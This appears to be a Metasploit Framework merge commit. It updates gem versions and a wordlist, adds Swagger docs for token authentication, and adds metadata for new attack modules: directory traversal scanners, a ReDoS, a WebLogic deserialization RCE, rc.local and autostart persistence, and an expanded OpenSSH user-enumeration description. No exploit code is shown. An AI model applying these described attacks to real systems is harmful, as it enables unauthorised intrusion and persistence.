Merge branch 'master' into impl-of-ctrl-z
commit
e29135d0f5
50
Gemfile.lock
50
Gemfile.lock
|
@ -18,7 +18,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.40)
|
||||
metasploit-payloads (= 1.3.43)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.4.1)
|
||||
mqtt
|
||||
|
@ -107,7 +107,7 @@ GEM
|
|||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.7.0)
|
||||
arel-helpers (2.8.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.3)
|
||||
bcrypt (3.1.12)
|
||||
|
@ -125,10 +125,10 @@ GEM
|
|||
docile (1.3.1)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.10.0)
|
||||
factory_bot (4.11.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_bot_rails (4.10.0)
|
||||
factory_bot (~> 4.10.0)
|
||||
factory_bot_rails (4.11.0)
|
||||
factory_bot (~> 4.11.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
|
@ -164,7 +164,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.40)
|
||||
metasploit-payloads (1.3.43)
|
||||
metasploit_data_models (3.0.0)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -188,7 +188,7 @@ GEM
|
|||
nexpose (7.2.1)
|
||||
nokogiri (1.8.4)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.9.0)
|
||||
octokit (4.10.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
|
@ -211,7 +211,7 @@ GEM
|
|||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
public_suffix (3.0.3)
|
||||
rack (1.6.10)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
|
@ -282,29 +282,29 @@ GEM
|
|||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
rspec (3.8.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-core (3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-expectations (3.8.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-mocks (3.8.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rails (3.8.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.1)
|
||||
rspec-support (3.8.0)
|
||||
ruby-macho (2.0.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.0.3)
|
||||
|
@ -349,7 +349,7 @@ GEM
|
|||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.15)
|
||||
yard (0.9.16)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
|
|
@ -86241,6 +86241,7 @@ wharves
|
|||
what
|
||||
whatchamacallit
|
||||
whatever
|
||||
whatevers2009
|
||||
whatley
|
||||
whatnot
|
||||
whatshername
|
||||
|
|
|
@ -5590,6 +5590,33 @@
|
|||
"ref_name": "dos/http/ibm_lotus_notes2",
|
||||
"check": false
|
||||
},
|
||||
"auxiliary_dos/http/marked_redos": {
|
||||
"name": "marked npm module \"heading\" ReDoS",
|
||||
"full_name": "auxiliary/dos/http/marked_redos",
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Adam Cazzolla, Sonatype Security Research",
|
||||
"Nick Starke, Sonatype Security Research"
|
||||
],
|
||||
"description": "This module exploits a Regular Expression Denial of Service vulnerability\n in the npm module \"marked\". The vulnerable portion of code that this module\n targets is in the \"heading\" regular expression. Web applications that use\n \"marked\" for generating html from markdown are vulnerable. Versions up to\n 0.4.0 are vulnerable.",
|
||||
"references": [
|
||||
"URL-https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not",
|
||||
"CWE-400"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"targets": null,
|
||||
"mod_time": "2018-08-16 14:59:32 +0000",
|
||||
"path": "/modules/auxiliary/dos/http/marked_redos.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/http/marked_redos",
|
||||
"check": false
|
||||
},
|
||||
"auxiliary_dos/http/monkey_headers": {
|
||||
"name": "Monkey HTTPD Header Parsing Denial of Service (DoS)",
|
||||
"full_name": "auxiliary/dos/http/monkey_headers",
|
||||
|
@ -12681,6 +12708,34 @@
|
|||
"ref_name": "scanner/http/cert",
|
||||
"check": true
|
||||
},
|
||||
"auxiliary_scanner/http/cgit_traversal": {
|
||||
"name": "cgit Directory Traversal",
|
||||
"full_name": "auxiliary/scanner/http/cgit_traversal",
|
||||
"rank": 300,
|
||||
"disclosure_date": "2018-08-03",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Google Project Zero",
|
||||
"Dhiraj Mishra"
|
||||
],
|
||||
"description": "This module exploits a directory traversal vulnerability which\n exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the\n configuration flag enable-http-clone is set to 1 (default).",
|
||||
"references": [
|
||||
"CVE-2018-14912",
|
||||
"URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=1627",
|
||||
"EDB-45148"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"targets": null,
|
||||
"mod_time": "2018-08-13 15:48:21 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cgit_traversal.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/cgit_traversal",
|
||||
"check": true
|
||||
},
|
||||
"auxiliary_scanner/http/chef_webui_login": {
|
||||
"name": "Chef Web UI Brute Force Utility",
|
||||
"full_name": "auxiliary/scanner/http/chef_webui_login",
|
||||
|
@ -14112,6 +14167,34 @@
|
|||
"ref_name": "scanner/http/glassfish_login",
|
||||
"check": true
|
||||
},
|
||||
"auxiliary_scanner/http/glassfish_traversal": {
|
||||
"name": "Path Traversal in Oracle GlassFish Server Open Source Edition",
|
||||
"full_name": "auxiliary/scanner/http/glassfish_traversal",
|
||||
"rank": 300,
|
||||
"disclosure_date": "2015-08-08",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Trustwave SpiderLabs",
|
||||
"Dhiraj Mishra"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated directory traversal vulnerability\n which exits in administration console of Oracle GlassFish Server 4.1, which is\n listening by default on port 4848/TCP.",
|
||||
"references": [
|
||||
"CVE-2017-1000028",
|
||||
"URL-https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904",
|
||||
"EDB-39441"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 4848,
|
||||
"targets": null,
|
||||
"mod_time": "2018-08-05 00:15:04 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/glassfish_traversal.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/glassfish_traversal",
|
||||
"check": true
|
||||
},
|
||||
"auxiliary_scanner/http/goahead_traversal": {
|
||||
"name": "Embedthis GoAhead Embedded Web Server Directory Traversal",
|
||||
"full_name": "auxiliary/scanner/http/goahead_traversal",
|
||||
|
@ -23626,7 +23709,7 @@
|
|||
"arch": "cmd",
|
||||
"rport": 8101,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-08-15 06:48:35 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/apache_karaf_command_execution",
|
||||
|
@ -23653,7 +23736,7 @@
|
|||
"arch": "",
|
||||
"rport": 22,
|
||||
"targets": null,
|
||||
"mod_time": "2018-01-22 11:10:23 +0000",
|
||||
"mod_time": "2018-08-15 06:48:35 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/cerberus_sftp_enumusers",
|
||||
|
@ -23709,7 +23792,7 @@
|
|||
"arch": "",
|
||||
"rport": 22,
|
||||
"targets": null,
|
||||
"mod_time": "2018-02-21 20:05:02 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/fortinet_backdoor",
|
||||
|
@ -23737,7 +23820,7 @@
|
|||
"arch": "",
|
||||
"rport": 22,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-08-15 06:48:35 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/juniper_backdoor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/juniper_backdoor",
|
||||
|
@ -23779,13 +23862,21 @@
|
|||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"kenkeiras"
|
||||
"kenkeiras",
|
||||
"Dariusz Tytko",
|
||||
"Michal Sajdak",
|
||||
"Qualys",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module uses a time-based attack to enumerate users on an OpenSSH server.\n On some versions of OpenSSH under some configurations, OpenSSH will return a\n \"permission denied\" error for an invalid user faster than for a valid user.",
|
||||
"description": "This module uses a malformed packet or timing attack to enumerate users on\n an OpenSSH server.\n\n The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST\n packet using public key authentication (must be enabled) to enumerate users.\n\n On some versions of OpenSSH under some configurations, OpenSSH will return a\n \"permission denied\" error for an invalid user faster than for a valid user,\n creating an opportunity for a timing attack to enumerate users.\n\n Testing note: invalid users were logged, while valid users were not. YMMV.",
|
||||
"references": [
|
||||
"CVE-2003-0190",
|
||||
"CVE-2006-5229",
|
||||
"CVE-2016-6210",
|
||||
"CVE-2018-15473",
|
||||
"OSVDB-32721",
|
||||
"BID-20418"
|
||||
"BID-20418",
|
||||
"URL-http://seclists.org/oss-sec/2018/q3/124"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
|
@ -23793,7 +23884,7 @@
|
|||
"arch": "",
|
||||
"rport": 22,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-08-20 19:26:30 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/ssh_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/ssh_enumusers",
|
||||
|
@ -23820,7 +23911,7 @@
|
|||
"arch": "",
|
||||
"rport": 22,
|
||||
"targets": null,
|
||||
"mod_time": "2018-05-21 17:37:51 +0000",
|
||||
"mod_time": "2018-08-15 14:59:52 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssh/ssh_identify_pubkeys",
|
||||
|
@ -28918,7 +29009,7 @@
|
|||
"targets": [
|
||||
"Apple iOS"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 14:54:41 +0000",
|
||||
"path": "/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/ssh/cydia_default_ssh",
|
||||
|
@ -31280,7 +31371,7 @@
|
|||
"Unix In-Memory",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2018-07-12 17:37:06 +0000",
|
||||
"mod_time": "2018-08-07 19:51:59 +0000",
|
||||
"path": "/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/hp_van_sdn_cmd_inject",
|
||||
|
@ -34096,6 +34187,33 @@
|
|||
"ref_name": "linux/local/apport_abrt_chroot_priv_esc",
|
||||
"check": true
|
||||
},
|
||||
"exploit_linux/local/autostart_persistence": {
|
||||
"name": "Autostart Desktop Item Persistence",
|
||||
"full_name": "exploit/linux/local/autostart_persistence",
|
||||
"rank": 600,
|
||||
"disclosure_date": "2006-02-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Eliott Teissonniere"
|
||||
],
|
||||
"description": "This module will create an autostart entry to execute a payload.\n The payload will be executed when the users logs in.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2018-08-20 17:51:41 +0000",
|
||||
"path": "/modules/exploits/linux/local/autostart_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/autostart_persistence",
|
||||
"check": false
|
||||
},
|
||||
"exploit_linux/local/bpf_priv_esc": {
|
||||
"name": "Linux BPF Local Privilege Escalation",
|
||||
"full_name": "exploit/linux/local/bpf_priv_esc",
|
||||
|
@ -34656,6 +34774,33 @@
|
|||
"ref_name": "linux/local/pkexec",
|
||||
"check": true
|
||||
},
|
||||
"exploit_linux/local/rc_local_persistence": {
|
||||
"name": "rc.local Persistence",
|
||||
"full_name": "exploit/linux/local/rc_local_persistence",
|
||||
"rank": 600,
|
||||
"disclosure_date": "1980-10-01",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Eliott Teissonniere"
|
||||
],
|
||||
"description": "This module will edit /etc/rc.local in order to persist a payload.\n The payload will be executed on the next reboot.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2018-08-19 15:27:04 +0000",
|
||||
"path": "/modules/exploits/linux/local/rc_local_persistence.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/rc_local_persistence",
|
||||
"check": false
|
||||
},
|
||||
"exploit_linux/local/rds_priv_esc": {
|
||||
"name": "Reliable Datagram Sockets (RDS) Privilege Escalation",
|
||||
"full_name": "exploit/linux/local/rds_priv_esc",
|
||||
|
@ -36372,7 +36517,7 @@
|
|||
"targets": [
|
||||
"Universal"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/ceragon_fibeair_known_privkey",
|
||||
|
@ -36401,7 +36546,7 @@
|
|||
"targets": [
|
||||
"Universal"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/exagrid_known_privkey.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/exagrid_known_privkey",
|
||||
|
@ -36431,7 +36576,7 @@
|
|||
"targets": [
|
||||
"Universal"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/f5_bigip_known_privkey",
|
||||
|
@ -36458,7 +36603,7 @@
|
|||
"targets": [
|
||||
"Universal"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 14:54:41 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/loadbalancerorg_enterprise_known_privkey",
|
||||
|
@ -36486,7 +36631,7 @@
|
|||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2018-07-12 17:34:52 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/mercurial_ssh_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/mercurial_ssh_exec",
|
||||
|
@ -36513,7 +36658,7 @@
|
|||
"targets": [
|
||||
"Universal"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/quantum_dxi_known_privkey",
|
||||
|
@ -36540,7 +36685,7 @@
|
|||
"targets": [
|
||||
"Quantum vmPRO 3.1.2"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/quantum_vmpro_backdoor",
|
||||
|
@ -36568,7 +36713,7 @@
|
|||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2018-07-12 17:34:52 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/solarwinds_lem_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/solarwinds_lem_exec",
|
||||
|
@ -36600,7 +36745,7 @@
|
|||
"targets": [
|
||||
"Symantec Messaging Gateway 9.5"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/symantec_smg_ssh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/symantec_smg_ssh",
|
||||
|
@ -36629,7 +36774,7 @@
|
|||
"targets": [
|
||||
"Ubiquiti airOS < 5.6.2"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/ubiquiti_airos_file_upload",
|
||||
|
@ -36657,7 +36802,7 @@
|
|||
"targets": [
|
||||
"Universal"
|
||||
],
|
||||
"mod_time": "2018-02-08 02:21:16 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/vmware_vdp_known_privkey",
|
||||
|
@ -45471,7 +45616,7 @@
|
|||
"OSX x64",
|
||||
"Python"
|
||||
],
|
||||
"mod_time": "2018-01-17 13:21:36 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/multi/ssh/sshexec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/ssh/sshexec",
|
||||
|
@ -48098,7 +48243,7 @@
|
|||
"targets": [
|
||||
"vAPV 8.3.2.17 / vxAG 9.2.0.34"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/ssh/array_vxag_vapv_privkey_privesc",
|
||||
|
@ -48130,7 +48275,7 @@
|
|||
"targets": [
|
||||
"Unix-based Tectia SSH 6.3 or prior"
|
||||
],
|
||||
"mod_time": "2018-07-25 11:22:28 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/unix/ssh/tectia_passwd_changereq.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/ssh/tectia_passwd_changereq",
|
||||
|
@ -80594,6 +80739,35 @@
|
|||
"ref_name": "windows/misc/vmhgfs_webdav_dll_sideload",
|
||||
"check": false
|
||||
},
|
||||
"exploit_windows/misc/weblogic_deserialize": {
|
||||
"name": "Oracle Weblogic Server Deserialization RCE",
|
||||
"full_name": "exploit/windows/misc/weblogic_deserialize",
|
||||
"rank": 0,
|
||||
"disclosure_date": "2018-04-17",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"brianwrf",
|
||||
"Jacob Robles"
|
||||
],
|
||||
"description": "An unauthenticated attacker with network access to the Oracle Weblogic\n Server T3 interface can send a serialized object to the interface to\n execute code on vulnerable hosts.",
|
||||
"references": [
|
||||
"CVE-2018-2628",
|
||||
"EDB-44553"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": true,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 7001,
|
||||
"targets": [
|
||||
"Windows"
|
||||
],
|
||||
"mod_time": "2018-08-09 14:51:56 +0000",
|
||||
"path": "/modules/exploits/windows/misc/weblogic_deserialize.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/weblogic_deserialize",
|
||||
"check": false
|
||||
},
|
||||
"exploit_windows/misc/windows_rsh": {
|
||||
"name": "Windows RSH Daemon Buffer Overflow",
|
||||
"full_name": "exploit/windows/misc/windows_rsh",
|
||||
|
@ -84330,7 +84504,7 @@
|
|||
"targets": [
|
||||
"Freesshd <= 1.2.6 / Windows (Universal)"
|
||||
],
|
||||
"mod_time": "2017-08-01 15:41:07 +0000",
|
||||
"mod_time": "2018-08-15 21:27:40 +0000",
|
||||
"path": "/modules/exploits/windows/ssh/freesshd_authbypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/ssh/freesshd_authbypass",
|
||||
|
@ -84453,7 +84627,7 @@
|
|||
"Sysax 5.53 on Win XP SP3 / Win2k3 SP0",
|
||||
"Sysax 5.53 on Win2K3 SP1/SP2"
|
||||
],
|
||||
"mod_time": "2017-08-01 15:41:07 +0000",
|
||||
"mod_time": "2018-08-15 14:54:41 +0000",
|
||||
"path": "/modules/exploits/windows/ssh/sysax_ssh_username.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/ssh/sysax_ssh_username",
|
||||
|
@ -85278,7 +85452,7 @@
|
|||
"arch": "ppc",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-08-20 15:53:49 +0000",
|
||||
"path": "/modules/nops/ppc/simple.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "ppc/simple",
|
||||
|
@ -101125,7 +101299,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-08-02 15:55:24 +0000",
|
||||
"path": "/modules/post/multi/gather/aws_ec2_instance_metadata.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/gather/aws_ec2_instance_metadata",
|
||||
|
|
|
@ -0,0 +1,66 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module AuthApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
MESSAGE_DESC = 'The status of the authentication request.'
|
||||
MESSAGE_EXAMPLE = 'Generated new API token.'
|
||||
TOKEN_DESC = 'The Authentication Bearer token'
|
||||
TOKEN_EXAMPLE = '899d2f45e12429d07427230289400a4594bcffe32169ebb826b4ffa9b90e1d1586f15fa42f069bb7'
|
||||
|
||||
# Swagger documentation for auth model
|
||||
swagger_schema :Auth do
|
||||
property :message, type: :string, description: MESSAGE_DESC, example: MESSAGE_EXAMPLE
|
||||
property :token, type: :string, description: TOKEN_DESC, example: TOKEN_EXAMPLE
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/auth/generate-token' do
|
||||
# Swagger documentation for /api/v1/auth/generate-token GET
|
||||
operation :get do
|
||||
|
||||
key :description, 'Return a valid Authorization Bearer token.'
|
||||
key :tags, [ 'auth' ]
|
||||
|
||||
parameter do
|
||||
key :name, :username
|
||||
key :in, :query
|
||||
key :description, 'The username for the user you want to authenticate.'
|
||||
key :required, true
|
||||
key :type, :string
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :name, :password
|
||||
key :in, :query
|
||||
key :description, 'The password for the user you want to authenticate.'
|
||||
key :required, true
|
||||
key :type, :string
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns a valid auth token.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Auth
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, 'Invalid username or password. ' + RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -167,8 +167,15 @@ module CredentialApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -204,7 +211,7 @@ module CredentialApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
|
@ -212,8 +219,15 @@ module CredentialApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -237,8 +251,15 @@ module CredentialApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -274,8 +295,15 @@ module CredentialApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -300,7 +328,7 @@ module CredentialApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
|
@ -308,8 +336,15 @@ module CredentialApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
